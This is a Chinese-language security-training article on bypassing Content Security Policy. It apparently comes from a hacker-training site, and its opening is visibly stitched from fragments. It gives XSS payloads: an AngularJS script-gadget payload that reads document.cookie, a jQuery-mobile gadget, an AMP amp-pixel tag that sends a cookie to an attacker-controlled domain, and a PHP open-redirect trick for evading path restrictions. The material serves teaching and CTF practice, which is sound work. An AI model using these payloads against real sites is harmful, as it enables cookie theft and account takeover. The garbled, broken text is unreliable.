当前位置:网站首页 > 黑客培训 > 正文

CSP浅析与绕过

freebuffreebuf 2021-05-13 306 0

本文来源:蚁景科技

XSS是最常见、危害最大的网页安全漏洞,想要抵御它们,要采取非常多编程措施,非常麻烦。那么,有没有可以从根本上解决问题,浏览器自动禁止外部注入恶意脚本的方法呢?CSP应运而生。

本文涉及相关实验:这一payload,用-->来闭合前面的注释,来让后面内容完全可控

两者结合,得出最终payload

exp

!-- foo="-->
script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
/script>
div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
/div>
//sssss" -->

详细内容看Orange师傅的文章

如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp

div data-role=popup id='script>alert(1)/script>'>/div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)">/amp-pixel>

总而言之,这一绕过方法主要可以套用网上相应的payload格式来绕过CSP,在Breaking XSS mitigations via Script Gadgets中总结了可以被用来CDN绕过的一些JS库,可以用作参考

CDN服务商存在低版本的js库

该CDN服务商在CSP白名单中

站点可控静态资源绕过

给一个绕过codimd的(实例)
?php
header("Content-Security-Policy: default-src 'self';script-src http://127.0.0.1/a/");
?>

html>
head>
/head>
body>
csp header test
/body>
/html>

!-- redirect.php -->
?php
header("Location: " . $_GET[url]);
?>
!-- test.php -->
!DOCTYPE html>
html>
head>
title>1/title>
/head>
body>
123
/body>
/html>

csp限制了/a/目录,而我们的目标脚本在/b/目录下则如果这时候请求redirect页面去访问/b/下的脚本是可以通过csp的检查的

exp

http://127.0.0.1/a/redirect.php?url=/b/test.php

headImg.action?news=efc3250f-404c-4418-80e8-9cc0831864b9.png

但这是有一个很严格的条件的,加载的资源所在的域必须和自身处于同域下(example.com),也就是不可能通过302跳转去加载一个其他域下的脚本的,比如通过a.com的302跳转去加载b.com下的脚本是不可以

但!又来个但是了,在实际环境中,比如某个站调用某个cdn,或者类似于script-src example.com/scripts/ google.com/recaptcha/google.com/script/*下有个evil.js,然后刚好站内有个重定向,漏洞条件就已经成立了。

在script-src允许的域下,需要存在一个重定向的页面,这种页面大多存在于登陆,退出登录

在script-src允许的域下,存在某个任意文件的上传点(任意目录)

有特别的方式可以跨域发送请求,或者有站内域可以接受请求

转载请注明来自网盾网络安全培训,本文标题:《CSP浅析与绕过》

标签:CSPCSP绕过

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表